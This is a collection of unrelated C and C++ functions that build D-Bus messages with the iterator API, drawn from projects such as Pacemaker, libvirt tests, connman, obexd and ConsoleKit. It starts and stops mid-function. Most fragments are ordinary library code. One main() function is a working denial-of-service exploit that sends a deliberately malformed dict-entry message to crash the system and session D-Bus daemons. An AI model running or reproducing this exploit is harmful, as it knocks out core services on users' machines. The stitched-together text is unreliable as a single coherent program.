resp->type; dbret = dbus_message_iter_append_basic(&struct_iter, DBUS_TYPE_UINT32, &resp_type); if (!dbret) { return false; } /* Add the response message */ dbret = dbus_message_iter_open_container(&struct_iter, DBUS_TYPE_ARRAY, "y", &data_iter); if (!dbret) { return false; } dbret = dbus_message_iter_append_fixed_array(&data_iter, DBUS_TYPE_BYTE, &(resp->data), resp->len); if (!dbret) { return false; } dbret = dbus_message_iter_close_container(&struct_iter, &data_iter); if (!dbret) { return false; } resp = resp->next; dbret = dbus_message_iter_close_container(&array_iter, &struct_iter); if (!dbret) { return false; } } /* Close the struct array */ dbret = dbus_message_iter_close_container(&iter, &array_iter); if (!dbret) { return false; } return true; }
/* For a synchronous 'op', returns FALSE if 'op' fails */ gboolean upstart_job_exec(svc_action_t * op, gboolean synchronous) { char *job = NULL; int arg_wait = TRUE; const char *arg_env = "pacemaker=1"; const char *action = op->action; DBusError error; DBusMessage *msg = NULL; DBusMessage *reply = NULL; DBusMessageIter iter, array_iter; op->rc = PCMK_OCF_UNKNOWN_ERROR; CRM_ASSERT(upstart_init()); if (safe_str_eq(op->action, "meta-data")) { op->stdout_data = upstart_job_metadata(op->agent); op->rc = PCMK_OCF_OK; goto cleanup; } if(!upstart_job_by_name(op->agent, &job, op->timeout)) { crm_debug("Could not obtain job named '%s' to %s", op->agent, action); if (!g_strcmp0(action, "stop")) { op->rc = PCMK_OCF_OK; } else { op->rc = PCMK_OCF_NOT_INSTALLED; op->status = PCMK_LRM_OP_NOT_INSTALLED; } goto cleanup; } if (safe_str_eq(op->action, "monitor") || safe_str_eq(action, "status")) { char *path = get_first_instance(job, op->timeout); op->rc = PCMK_OCF_NOT_RUNNING; if(path) { DBusPendingCall *pending = NULL; char *state = pcmk_dbus_get_property( upstart_proxy, BUS_NAME, path, UPSTART_06_API ".Instance", "state", op->synchronous?NULL:upstart_job_check, op, op->synchronous?NULL:&pending, op->timeout); free(job); free(path); if(op->synchronous) { upstart_job_check("state", state, op); free(state); return op->rc == PCMK_OCF_OK; } else if (pending) { services_set_op_pending(op, pending); services_add_inflight_op(op); return TRUE; } return FALSE; } goto cleanup; } else if (!g_strcmp0(action, "start")) { action = "Start"; } else if (!g_strcmp0(action, "stop")) { action = "Stop"; } else if (!g_strcmp0(action, "restart")) { action = "Restart"; } else { op->rc = PCMK_OCF_UNIMPLEMENT_FEATURE; goto cleanup; } crm_debug("Calling %s for %s on %s", action, op->rsc, job); msg = dbus_message_new_method_call(BUS_NAME, // target for the method call job, // object to call on UPSTART_JOB_IFACE, // interface to call on action); // method name CRM_ASSERT(msg != NULL); dbus_message_iter_init_append (msg, &iter); CRM_LOG_ASSERT(dbus_message_iter_open_container (&iter, DBUS_TYPE_ARRAY, DBUS_TYPE_STRING_AS_STRING, &array_iter)); CRM_LOG_ASSERT(dbus_message_iter_append_basic (&array_iter, DBUS_TYPE_STRING, &arg_env)); CRM_LOG_ASSERT(dbus_message_iter_close_container (&iter, &array_iter)); CRM_LOG_ASSERT(dbus_message_append_args(msg, DBUS_TYPE_BOOLEAN, &arg_wait, DBUS_TYPE_INVALID)); if (op->synchronous == FALSE) { DBusPendingCall* pending = pcmk_dbus_send(msg, upstart_proxy, upstart_async_dispatch, op, op->timeout); free(job); if(pending) { services_set_op_pending(op, pending); services_add_inflight_op(op); return TRUE; } return FALSE; } dbus_error_init(&error); reply = pcmk_dbus_send_recv(msg, upstart_proxy, &error, op->timeout); if (dbus_error_is_set(&error)) { if(!upstart_mask_error(op, error.name)) { crm_err("Could not issue %s for %s: %s (%s)", action, op->rsc, error.message, job); } dbus_error_free(&error); } else if (!g_strcmp0(op->action, "stop")) { /* No return vaue */ op->rc = PCMK_OCF_OK; } else if(!pcmk_dbus_type_check(reply, NULL, DBUS_TYPE_OBJECT_PATH, __FUNCTION__, __LINE__)) { crm_warn("Call to %s passed but return type was unexpected", op->action); op->rc = PCMK_OCF_OK; } else { const char *path = NULL; dbus_message_get_args (reply, NULL, DBUS_TYPE_OBJECT_PATH, &path, DBUS_TYPE_INVALID); crm_info("Call to %s passed: %s", op->action, path); op->rc = PCMK_OCF_OK; } cleanup: free(job); if(msg) { dbus_message_unref(msg); } if(reply) { dbus_message_unref(reply); } if (op->synchronous == FALSE) { return operation_finalize(op); } return op->rc == PCMK_OCF_OK; }
int bridge_request_dbus_params_element(bridge_request_t *self, struct json_object *element, DBusSignatureIter *sigIt, DBusMessageIter *it) { int type; int ret = 0; type = dbus_signature_iter_get_current_type(sigIt); if (dbus_type_is_basic(type)) { if ((ret = bridge_request_dbus_params_basic(self, element, type, it)) != 0) { return ret; } } else if (type == DBUS_TYPE_VARIANT) { struct json_object *tmp; DBusMessageIter args; const char *vSig; if (json_object_get_type(element) != json_type_array) { bridge_request_error(self, "array expected."); return EINVAL; } tmp = json_object_array_get_idx(element, 0); if (!tmp) { bridge_request_error(self, "variant signature expected."); return EINVAL; } if (json_object_get_type(tmp) != json_type_string) { bridge_request_error(self, "variant signature expected."); return EINVAL; } vSig = json_object_get_string(tmp); if (!dbus_signature_validate_single(vSig, 0)) { bridge_request_error(self, "invalid variant signature."); return EINVAL; } dbus_message_iter_open_container(it, type, vSig, &args); ret = bridge_request_dbus_params_array(self, element, 1, vSig, &args); dbus_message_iter_close_container(it, &args); if (ret != 0) return EINVAL; } else if (type == DBUS_TYPE_STRUCT) { DBusMessageIter args; DBusSignatureIter sigArgs; if (json_object_get_type(element) != json_type_array) { bridge_request_error(self, "array expected."); return EINVAL; } dbus_signature_iter_recurse(sigIt, &sigArgs); dbus_message_iter_open_container(it, type, NULL, &args); ret = bridge_request_dbus_params_struct(self, element, &sigArgs, &args); dbus_message_iter_close_container(it, &args); if (ret != 0) return EINVAL; } else if (type == DBUS_TYPE_ARRAY) { DBusMessageIter args; DBusSignatureIter sigArgs; int cType; char *cSig; dbus_signature_iter_recurse(sigIt, &sigArgs); cType = dbus_signature_iter_get_current_type(&sigArgs); cSig = dbus_signature_iter_get_signature(&sigArgs); dbus_message_iter_open_container(it, type, cSig, &args); dbus_free(cSig); if (cType == DBUS_TYPE_DICT_ENTRY) { ret = bridge_request_dbus_params_dict(self, element, &sigArgs, &args); } else { int i, len; if (json_object_get_type(element) != json_type_array) { bridge_request_error(self, "array expected."); ret = EINVAL; } else { len = json_object_array_length(element); for (i = 0; i < len; ++i) { struct json_object *tmp; DBusSignatureIter tmpSigArgs = sigArgs; tmp = json_object_array_get_idx(element, i); if (!tmp) { bridge_request_error(self, "unexpected 'null' element in json array."); return EINVAL; } ret = bridge_request_dbus_params_element(self, tmp, &tmpSigArgs, &args); } } } dbus_message_iter_close_container(it, &args); } else { bridge_request_error(self, "unsupported json argument type."); return EINVAL; } return ret; }
void call_name(DBusConnection* conn, char* service_name ){ DBusError error; DBusMessage* msg; DBusMessageIter args; DBusMessageIter contain_args; DBusMessageIter dict_args; DBusMessageIter var_args; DBusPendingCall* pending; dbus_uint32_t result; dbus_error_init(&error); char* param = "calling you with something in the param"; char* param_list[2] = { "stuff 1", "stuff 2" }; dbus_uint16_t number = 16; char array_type[2]; char ele_type[5]; char* target = service_name ; // target for the method call; char* object = "/com/avengergear/PushServer/Proxy/TypeTest"; // started with root .... // we need to some how create a dynamic linked list of object -> method mapping table to displace for call //char* interface = DBUS_INTERFACE_INTROSPECTABLE ; //char* interface = "org.freedesktop.DBus.Introspectable"; char* interface = "com.avengergear.PushServer.Proxy.Interface"; //char* name = "RemoteName"; // name of the method char* method = "TypeTest"; if( !dbus_bus_start_service_by_name( conn, service_name, 0, &result, &error)){ fprintf(stderr, "Can't start service %s\n", error.message); exit(1); } else { // we can start looping all the methods and interface in the object tree msg = dbus_message_new_method_call( target, object, interface, method ); if( NULL == msg ) { fprintf(stderr, "Reply Null\n"); exit(1); } else { // send message and get a handle for a reply // append arguments dbus_message_iter_init_append(msg, &args); if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, ¶m)) { fprintf(stderr, "String Out Of Memory!\n"); exit(1); } fprintf(stderr, "Send string\n"); if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_UINT16, &number)) { fprintf(stderr, "UINT16 Out Of Memory!\n"); exit(1); } fprintf(stderr, "Send uint16\n"); array_type[0]='s'; array_type[1]='\0'; if (!dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, array_type, &contain_args)) { fprintf(stderr, "OpenContainer Out Of Memory!\n"); exit(1); } fprintf(stderr, "OpenContainer \n"); if (!dbus_message_iter_append_basic(&contain_args, DBUS_TYPE_STRING, ¶m_list[0])) { fprintf(stderr, "Arrary String is Out Of Memory!\n"); exit(1); } fprintf(stderr, "Sending a string\n"); if (!dbus_message_iter_append_basic(&contain_args, DBUS_TYPE_STRING, ¶m_list[1])) { fprintf(stderr, "Arrary String is Out Of Memory!\n"); exit(1); } fprintf(stderr, "Sending a string\n"); if (!dbus_message_iter_close_container(&args, &contain_args)) { fprintf(stderr, "CloseContainer Out Of Memory!\n"); exit(1); } fprintf(stderr, "CloseContainer\n"); ele_type[0]=DBUS_DICT_ENTRY_BEGIN_CHAR; ele_type[1]='s'; ele_type[2]='v'; ele_type[3]=DBUS_DICT_ENTRY_END_CHAR; ele_type[4]='\0'; if (!dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, ele_type, &contain_args)) { fprintf(stderr, "OpenContainer Out Of Memory!\n"); exit(1); } fprintf(stderr, "OpenContainer Array\n"); if (!dbus_message_iter_open_container(&contain_args, DBUS_TYPE_DICT_ENTRY, NULL, &dict_args)) { fprintf(stderr, "OpenContainer Out Of Memory!\n"); exit(1); } fprintf(stderr, "OpenContainer Array Dict\n"); if (!dbus_message_iter_append_basic(&dict_args, DBUS_TYPE_STRING, ¶m)) { fprintf(stderr, "Arrary Dict String is Out Of Memory!\n"); exit(1); } array_type[0]='q'; array_type[1]='\0'; if (!dbus_message_iter_open_container(&dict_args, DBUS_TYPE_VARIANT, array_type , &var_args)) { fprintf(stderr, "OpenContainer Out Of Memory!\n"); exit(1); } fprintf(stderr, "OpenContainer Array Dict Var\n"); if (!dbus_message_iter_append_basic(&var_args, DBUS_TYPE_UINT16, &number)) { fprintf(stderr, "Array Dict UNIT16 String is Out Of Memory!\n"); exit(1); } if (!dbus_message_iter_close_container(&dict_args, &var_args)) { fprintf(stderr, "CloseContainer Out Of Memory!\n"); exit(1); } fprintf(stderr, "CloseContainer Array Dict\n"); if (!dbus_message_iter_close_container(&contain_args, &dict_args)) { fprintf(stderr, "CloseContainer Out Of Memory!\n"); exit(1); } fprintf(stderr, "CloseContainer Array\n"); if (!dbus_message_iter_close_container(&args, &contain_args)) { fprintf(stderr, "CloseContainer Out Of Memory!\n"); exit(1); } fprintf(stderr, "CloseContainer\n"); if (!dbus_connection_send_with_reply (conn, msg, &pending, -1)) { // -1 is default timeout fprintf(stderr, "Out Of Memory!\n"); exit(1); } if (NULL == pending) { fprintf(stderr, "Pending Call Null\n"); exit(1); } else { dbus_connection_flush(conn); // free message dbus_message_unref(msg); method_callback(pending); } } } }
int main(int argc, char *argv[]) { char sig[8]; uint32_t val = 0xdeadbeef; DBusMessage *message; DBusConnection *system, *session; DBusMessageIter iter1, iter2, iter3, iter4; printf("[+] creating malicious dbus message...\n"); message = dbus_message_new_signal(PATH, NAME, SIGNAL); if (!message) { printf("[-] error: could not create dbus message\n"); return 1; } if (!dbus_message_set_destination(message, DEST)) { printf("[-] error: could not create set dbus destination\n"); return 1; } sig[0] = DBUS_DICT_ENTRY_BEGIN_CHAR; sig[1] = DBUS_STRUCT_BEGIN_CHAR; sig[2] = DBUS_TYPE_INT32; sig[3] = DBUS_TYPE_INT32; sig[4] = DBUS_STRUCT_END_CHAR; sig[5] = DBUS_TYPE_INT32; sig[6] = DBUS_DICT_ENTRY_END_CHAR; sig[7] = '\0'; dbus_message_iter_init_append(message, &iter1); dbus_message_iter_open_container(&iter1, DBUS_TYPE_ARRAY, sig, &iter2); dbus_message_iter_open_container(&iter2, DBUS_TYPE_DICT_ENTRY, NULL, &iter3); dbus_message_iter_open_container(&iter3, DBUS_TYPE_STRUCT, NULL, &iter4); dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val); dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val); dbus_message_iter_close_container(&iter3, &iter4); dbus_message_iter_append_basic(&iter3, DBUS_TYPE_INT32, &val); dbus_message_iter_close_container(&iter2, &iter3); dbus_message_iter_close_container(&iter1, &iter2); printf("[+] connecting to dbus system daemon...\n"); system = dbus_bus_get(DBUS_BUS_SYSTEM, NULL); if (system) { printf("[+] killing dbus system daemon...\n"); dbus_connection_send(system, message, NULL); dbus_connection_flush(system); dbus_connection_unref(system); } else { printf("[-] error: could not connect to dbus system daemon\n"); } printf("[+] connecting to dbus session daemon...\n"); session = dbus_bus_get(DBUS_BUS_SESSION, NULL); if (session) { printf("[+] killing dbus session daemon...\n"); dbus_connection_send(session, message, NULL); dbus_connection_flush(session); dbus_connection_unref(session); } else { printf("[-] error: could not connect to dbus session daemon\n"); } dbus_message_unref(message); return 0; }
DBusHandlerResult my_com_netsplit_Nih_Test_Method_method (NihDBusObject * object, NihDBusMessage *message) { DBusMessageIter iter; DBusMessage * reply; MyMethodStructure *structure; DBusMessageIter structure_iter; const char * structure_item0; uint32_t structure_item1; nih_assert (object != NULL); nih_assert (message != NULL); /* Iterate the arguments to the message and demarshal into arguments * for our own function call. */ dbus_message_iter_init (message->message, &iter); if (dbus_message_iter_get_arg_type (&iter) != DBUS_TYPE_INVALID) { reply = dbus_message_new_error (message->message, DBUS_ERROR_INVALID_ARGS, "Invalid arguments to Method method"); if (! reply) return DBUS_HANDLER_RESULT_NEED_MEMORY; if (! dbus_connection_send (message->connection, reply, NULL)) { dbus_message_unref (reply); return DBUS_HANDLER_RESULT_NEED_MEMORY; } dbus_message_unref (reply); return DBUS_HANDLER_RESULT_HANDLED; } /* Call the handler function */ nih_error_push_context (); if (my_method (object->data, message, &structure) < 0) { NihError *err; err = nih_error_get (); if (err->number == ENOMEM) { nih_free (err); nih_error_pop_context (); return DBUS_HANDLER_RESULT_NEED_MEMORY; } else if (err->number == NIH_DBUS_ERROR) { NihDBusError *dbus_err = (NihDBusError *)err; reply = NIH_MUST (dbus_message_new_error (message->message, dbus_err->name, err->message)); nih_free (err); nih_error_pop_context (); NIH_MUST (dbus_connection_send (message->connection, reply, NULL)); dbus_message_unref (reply); return DBUS_HANDLER_RESULT_HANDLED; } else { reply = NIH_MUST (dbus_message_new_error (message->message, DBUS_ERROR_FAILED, err->message)); nih_free (err); nih_error_pop_context (); NIH_MUST (dbus_connection_send (message->connection, reply, NULL)); dbus_message_unref (reply); return DBUS_HANDLER_RESULT_HANDLED; } } nih_error_pop_context (); /* If the sender doesn't care about a reply, don't bother wasting * effort constructing and sending one. */ if (dbus_message_get_no_reply (message->message)) return DBUS_HANDLER_RESULT_HANDLED; do { __label__ enomem; /* Construct the reply message. */ reply = dbus_message_new_method_return (message->message); if (! reply) goto enomem; dbus_message_iter_init_append (reply, &iter); /* Marshal a structure onto the message */ if (! dbus_message_iter_open_container (&iter, DBUS_TYPE_STRUCT, NULL, &structure_iter)) { dbus_message_unref (reply); reply = NULL; goto enomem; } structure_item0 = structure->item0; /* Marshal a char * onto the message */ if (! dbus_message_iter_append_basic (&structure_iter, DBUS_TYPE_STRING, &structure_item0)) { dbus_message_iter_abandon_container (&iter, &structure_iter); dbus_message_unref (reply); reply = NULL; goto enomem; } structure_item1 = structure->item1; /* Marshal a uint32_t onto the message */ if (! dbus_message_iter_append_basic (&structure_iter, DBUS_TYPE_UINT32, &structure_item1)) { dbus_message_iter_abandon_container (&iter, &structure_iter); dbus_message_unref (reply); reply = NULL; goto enomem; } if (! dbus_message_iter_close_container (&iter, &structure_iter)) { dbus_message_unref (reply); reply = NULL; goto enomem; } enomem: __attribute__ ((unused)); } while (! reply); /* Send the reply, appending it to the outgoing queue. */ NIH_MUST (dbus_connection_send (message->connection, reply, NULL)); dbus_message_unref (reply); return DBUS_HANDLER_RESULT_HANDLED; }
int ep_register (DBusConnection *c, const char *name, const char **capabilities) { DBusMessage *msg = NULL, *reply; int success = 0; char polrule[512]; DBusError err; DBusMessageIter message_iter, array_iter; connection = c; /* first, let's do a filter */ snprintf(polrule, sizeof(polrule), "type='signal',interface='%s'," "path='%s/%s'", POLICY_DBUS_INTERFACE, POLICY_DBUS_PATH, POLICY_DECISION); dbus_error_init(&err); if (!dbus_connection_add_filter(connection, filter, NULL, NULL)) { goto failed; } dbus_bus_add_match(connection, polrule, &err); if (dbus_error_is_set(&err)) { dbus_error_free(&err); goto failed; } /* then register to the policy engine */ msg = dbus_message_new_method_call(POLICY_DBUS_NAME, POLICY_DBUS_PATH, POLICY_DBUS_INTERFACE, "register"); if (msg == NULL) { goto failed; } dbus_message_iter_init_append(msg, &message_iter); if (!dbus_message_iter_append_basic(&message_iter, DBUS_TYPE_STRING, &name)) goto failed; if (!dbus_message_iter_open_container(&message_iter, DBUS_TYPE_ARRAY, "s", &array_iter)) goto failed; while (*capabilities != NULL) { if (!dbus_message_iter_append_basic(&array_iter, DBUS_TYPE_STRING, &(*capabilities))) goto failed; capabilities++; } dbus_message_iter_close_container(&message_iter, &array_iter); reply = dbus_connection_send_with_reply_and_block(connection, msg, -1, NULL); if (!reply || dbus_message_get_type (reply) == DBUS_MESSAGE_TYPE_ERROR) { goto failed; } success = 1; /* intentional fallthrough */ failed: if (msg) dbus_message_unref(msg); return success; }
static ssize_t synce_read(void *object, void *buf, size_t count, uint8_t *hi) { struct synce_context *context = object; DBusConnection *conn; char transport[36], transport_description[24]; const char *session; DBusMessage *msg; DBusMessageIter iter, dict; gboolean authenticate; DBusPendingCall *call; if (context->buffer) { *hi = OBEX_HDR_BODY; return string_read(context->buffer, buf, count); } conn = obex_dbus_get_connection(); if (conn == NULL) return -EPERM; msg = dbus_message_new_method_call(SYNCE_BUS_NAME, SYNCE_PATH, SYNCE_SERVER_INTERFACE, "Connect"); if (!msg) return -EPERM; dbus_message_iter_init_append(msg, &iter); dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING DBUS_TYPE_STRING_AS_STRING DBUS_TYPE_STRING_AS_STRING DBUS_DICT_ENTRY_END_CHAR_AS_STRING, &dict); append_dict_entry(&dict, "id", DBUS_TYPE_STRING, context->id); snprintf(transport, sizeof(transport), "%s.obexd", OPENOBEX_SERVICE); append_dict_entry(&dict, "transport", DBUS_TYPE_STRING, transport); snprintf(transport_description, sizeof(transport_description), "version %s", VERSION); append_dict_entry(&dict, "transport_description", DBUS_TYPE_STRING, transport_description); dbus_message_iter_close_container(&iter, &dict); authenticate = FALSE; session = ""; dbus_message_append_args(msg, DBUS_TYPE_BOOLEAN, &authenticate, DBUS_TYPE_STRING, &session, DBUS_TYPE_INVALID); if (!dbus_connection_send_with_reply(conn, msg, &call, -1)) { error("D-Bus call to %s failed.", SYNCE_SERVER_INTERFACE); dbus_message_unref(msg); return -EPERM; } dbus_pending_call_set_notify(call, connect_cb, context, NULL); dbus_pending_call_unref(call); dbus_message_unref(msg); return -EAGAIN; }
VIR_MOCK_WRAP_RET_ARGS(dbus_connection_send_with_reply_and_block, DBusMessage *, DBusConnection *, connection, DBusMessage *, message, int, timeout_milliseconds, DBusError *, error) { DBusMessage *reply = NULL; const char *service = dbus_message_get_destination(message); const char *member = dbus_message_get_member(message); VIR_MOCK_REAL_INIT(dbus_connection_send_with_reply_and_block); if (STREQ(service, "org.freedesktop.machine1")) { if (getenv("FAIL_BAD_SERVICE")) { dbus_set_error_const(error, "org.freedesktop.systemd.badthing", "Something went wrong creating the machine"); } else { reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN); } } else if (STREQ(service, "org.freedesktop.login1")) { char *supported = getenv("RESULT_SUPPORT"); DBusMessageIter iter; reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN); dbus_message_iter_init_append(reply, &iter); if (!dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &supported)) goto error; } else if (STREQ(service, "org.freedesktop.DBus") && STREQ(member, "ListActivatableNames")) { const char *svc1 = "org.foo.bar.wizz"; const char *svc2 = "org.freedesktop.machine1"; const char *svc3 = "org.freedesktop.login1"; DBusMessageIter iter; DBusMessageIter sub; reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN); dbus_message_iter_init_append(reply, &iter); dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, "s", &sub); if (!dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &svc1)) goto error; if (!getenv("FAIL_NO_SERVICE") && !dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &svc2)) goto error; if (!getenv("FAIL_NO_SERVICE") && !dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &svc3)) goto error; dbus_message_iter_close_container(&iter, &sub); } else if (STREQ(service, "org.freedesktop.DBus") && STREQ(member, "ListNames")) { const char *svc1 = "org.foo.bar.wizz"; const char *svc2 = "org.freedesktop.systemd1"; const char *svc3 = "org.freedesktop.login1"; DBusMessageIter iter; DBusMessageIter sub; reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN); dbus_message_iter_init_append(reply, &iter); dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, "s", &sub); if (!dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &svc1)) goto error; if ((!getenv("FAIL_NO_SERVICE") && !getenv("FAIL_NOT_REGISTERED")) && !dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &svc2)) goto error; if ((!getenv("FAIL_NO_SERVICE") && !getenv("FAIL_NOT_REGISTERED")) && !dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &svc3)) goto error; dbus_message_iter_close_container(&iter, &sub); } else { reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN); } return reply; error: dbus_message_unref(reply); return NULL; }
static int set_network(struct supplicant_task *task, const unsigned char *network, int len, const char *address, const char *security, const char *passphrase) { DBusMessage *message, *reply; DBusMessageIter array, dict; DBusError error; dbus_uint32_t scan_ssid = 1; _DBG_SUPPLICANT("task %p", task); if (task->netpath == NULL) return -EINVAL; message = dbus_message_new_method_call(SUPPLICANT_NAME, task->netpath, SUPPLICANT_INTF ".Network", "set"); if (message == NULL) return -ENOMEM; dbus_message_set_auto_start(message, FALSE); dbus_message_iter_init_append(message, &array); dbus_message_iter_open_container(&array, DBUS_TYPE_ARRAY, DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING DBUS_TYPE_STRING_AS_STRING DBUS_TYPE_VARIANT_AS_STRING DBUS_DICT_ENTRY_END_CHAR_AS_STRING, &dict); connman_dbus_dict_append_variant(&dict, "scan_ssid", DBUS_TYPE_UINT32, &scan_ssid); connman_dbus_dict_append_array(&dict, "ssid", DBUS_TYPE_BYTE, &network, len); /* NB: do not set the bssid; this allows wpa_supplicant to roam */ if (g_ascii_strcasecmp(security, "wpa") == 0 || g_ascii_strcasecmp(security, "rsn") == 0) { const char *key_mgmt = "WPA-PSK"; connman_dbus_dict_append_variant(&dict, "key_mgmt", DBUS_TYPE_STRING, &key_mgmt); if (passphrase && strlen(passphrase) > 0) connman_dbus_dict_append_variant(&dict, "psk", DBUS_TYPE_STRING, &passphrase); } else if (g_ascii_strcasecmp(security, "wep") == 0) { const char *key_mgmt = "NONE"; const char *auth_alg = "OPEN"; const char *key_index = "0"; if (task->mac80211 == TRUE) auth_alg = "OPEN SHARED"; connman_dbus_dict_append_variant(&dict, "auth_alg", DBUS_TYPE_STRING, &auth_alg); connman_dbus_dict_append_variant(&dict, "key_mgmt", DBUS_TYPE_STRING, &key_mgmt); if (passphrase) { int size = strlen(passphrase); if (size == 10 || size == 26) { unsigned char *key = malloc(13); char tmp[3]; int i; memset(tmp, 0, sizeof(tmp)); if (key == NULL) size = 0; for (i = 0; i < size / 2; i++) { memcpy(tmp, passphrase + (i * 2), 2); key[i] = (unsigned char) strtol(tmp, NULL, 16); } connman_dbus_dict_append_array(&dict, "wep_key0", DBUS_TYPE_BYTE, &key, size / 2); free(key); } else connman_dbus_dict_append_variant(&dict, "wep_key0", DBUS_TYPE_STRING, &passphrase); connman_dbus_dict_append_variant(&dict, "wep_tx_keyidx", DBUS_TYPE_STRING, &key_index); } } else { const char *key_mgmt = "NONE"; connman_dbus_dict_append_variant(&dict, "key_mgmt", DBUS_TYPE_STRING, &key_mgmt); } dbus_message_iter_close_container(&array, &dict); dbus_error_init(&error); reply = dbus_connection_send_with_reply_and_block(connection, message, -1, &error); if (reply == NULL) { if (dbus_error_is_set(&error) == TRUE) { connman_error("%s", error.message); dbus_error_free(&error); } else connman_error("Failed to set network options"); dbus_message_unref(message); return -EIO; } dbus_message_unref(message); dbus_message_unref(reply); return 0; }
static dbus_bool_t ck_connector_open_session_with_parameters_valist (CkConnector *connector, DBusError *error, const char *first_parameter_name, va_list var_args) { DBusError local_error; DBusMessage *message; DBusMessage *reply; DBusMessageIter iter; DBusMessageIter iter_array; dbus_bool_t ret; char *cookie; const char *name; _ck_return_val_if_fail (connector != NULL, FALSE); reply = NULL; message = NULL; ret = FALSE; dbus_error_init (&local_error); connector->connection = dbus_bus_get_private (DBUS_BUS_SYSTEM, &local_error); if (connector->connection == NULL) { if (dbus_error_is_set (&local_error)) { dbus_set_error (error, CK_CONNECTOR_ERROR, "Unable to open session: %s", local_error.message); dbus_error_free (&local_error); } goto out; } dbus_connection_set_exit_on_disconnect (connector->connection, FALSE); message = dbus_message_new_method_call ("org.freedesktop.ConsoleKit", "/org/freedesktop/ConsoleKit/Manager", "org.freedesktop.ConsoleKit.Manager", "OpenSessionWithParameters"); if (message == NULL) { goto out; } dbus_message_iter_init_append (message, &iter); if (! dbus_message_iter_open_container (&iter, DBUS_TYPE_ARRAY, "(sv)", &iter_array)) { goto out; } name = first_parameter_name; while (name != NULL) { int type; const void *value; dbus_bool_t res; type = lookup_parameter_type (name); value = va_arg (var_args, const void *); if (type == DBUS_TYPE_INVALID) { dbus_set_error (error, CK_CONNECTOR_ERROR, "Unknown parameter: %s", name); goto out; } res = add_param_basic (&iter_array, name, type, value); if (! res) { dbus_set_error (error, CK_CONNECTOR_ERROR, "Error adding parameter: %s", name); goto out; } name = va_arg (var_args, char *); } if (! dbus_message_iter_close_container (&iter, &iter_array)) { goto out; } dbus_error_init (&local_error); reply = dbus_connection_send_with_reply_and_block (connector->connection, message, -1, &local_error); if (reply == NULL) { if (dbus_error_is_set (&local_error)) { dbus_set_error (error, CK_CONNECTOR_ERROR, "Unable to open session: %s", local_error.message); dbus_error_free (&local_error); goto out; } } dbus_error_init (&local_error); if (! dbus_message_get_args (reply, &local_error, DBUS_TYPE_STRING, &cookie, DBUS_TYPE_INVALID)) { if (dbus_error_is_set (&local_error)) { dbus_set_error (error, CK_CONNECTOR_ERROR, "Unable to open session: %s", local_error.message); dbus_error_free (&local_error); goto out; } } connector->cookie = strdup (cookie); if (connector->cookie == NULL) { goto out; } connector->session_created = TRUE; ret = TRUE; out: if (reply != NULL) { dbus_message_unref (reply); } if (message != NULL) { dbus_message_unref (message); } return ret; }
static dbus_bool_t add_param_basic (DBusMessageIter *iter_array, const char *name, int type, const void *value) { DBusMessageIter iter_struct; DBusMessageIter iter_variant; const char *container_type; switch (type) { case DBUS_TYPE_STRING: container_type = DBUS_TYPE_STRING_AS_STRING; break; case DBUS_TYPE_BOOLEAN: container_type = DBUS_TYPE_BOOLEAN_AS_STRING; break; case DBUS_TYPE_INT32: container_type = DBUS_TYPE_INT32_AS_STRING; break; default: goto oom; break; } if (! dbus_message_iter_open_container (iter_array, DBUS_TYPE_STRUCT, NULL, &iter_struct)) { goto oom; } if (! dbus_message_iter_append_basic (&iter_struct, DBUS_TYPE_STRING, &name)) { goto oom; } if (! dbus_message_iter_open_container (&iter_struct, DBUS_TYPE_VARIANT, container_type, &iter_variant)) { goto oom; } if (! dbus_message_iter_append_basic (&iter_variant, type, value)) { goto oom; } if (! dbus_message_iter_close_container (&iter_struct, &iter_variant)) { goto oom; } if (! dbus_message_iter_close_container (iter_array, &iter_struct)) { goto oom; } return TRUE; oom: return FALSE; }
void GMNotifyDaemon::notify(const FXchar * summary,const FXchar * body,FXint timeout,FXImage* image){ FXint iw,ih,is,ibps,ichannels,isize; dbus_bool_t ialpha; const FXchar * idata=NULL; DBusMessage * msg = method("Notify"); if (msg){ DBusMessageIter iter; DBusMessageIter array; DBusMessageIter dict; DBusMessageIter value; DBusMessageIter variant; DBusMessageIter data; dbus_message_iter_init_append(msg,&iter); gm_dbus_append_string(&iter,appname); dbus_message_iter_append_basic(&iter,DBUS_TYPE_UINT32,&msgid); if (image && (flags&IMAGE_WITHOUT_APPICON)) { FXString empty; gm_dbus_append_string(&iter,empty); } else { gm_dbus_append_string(&iter,appicon); } dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&summary); dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&body); dbus_message_iter_open_container(&iter,DBUS_TYPE_ARRAY,DBUS_TYPE_STRING_AS_STRING,&array); if (persistent) { if (GMPlayerManager::instance()->can_prev()) gm_dbus_append_string_pair(&array,"media-skip-backward","Previous"); if (GMPlayerManager::instance()->can_pause()) gm_dbus_append_string_pair(&array,"media-playback-pause","Pause"); else if (GMPlayerManager::instance()->can_play()) gm_dbus_append_string_pair(&array,"media-playback-start","Play"); if (GMPlayerManager::instance()->can_stop()) gm_dbus_append_string_pair(&array,"media-playback-stop","Stop"); if (GMPlayerManager::instance()->can_next()) gm_dbus_append_string_pair(&array,"media-skip-forward","Next"); } 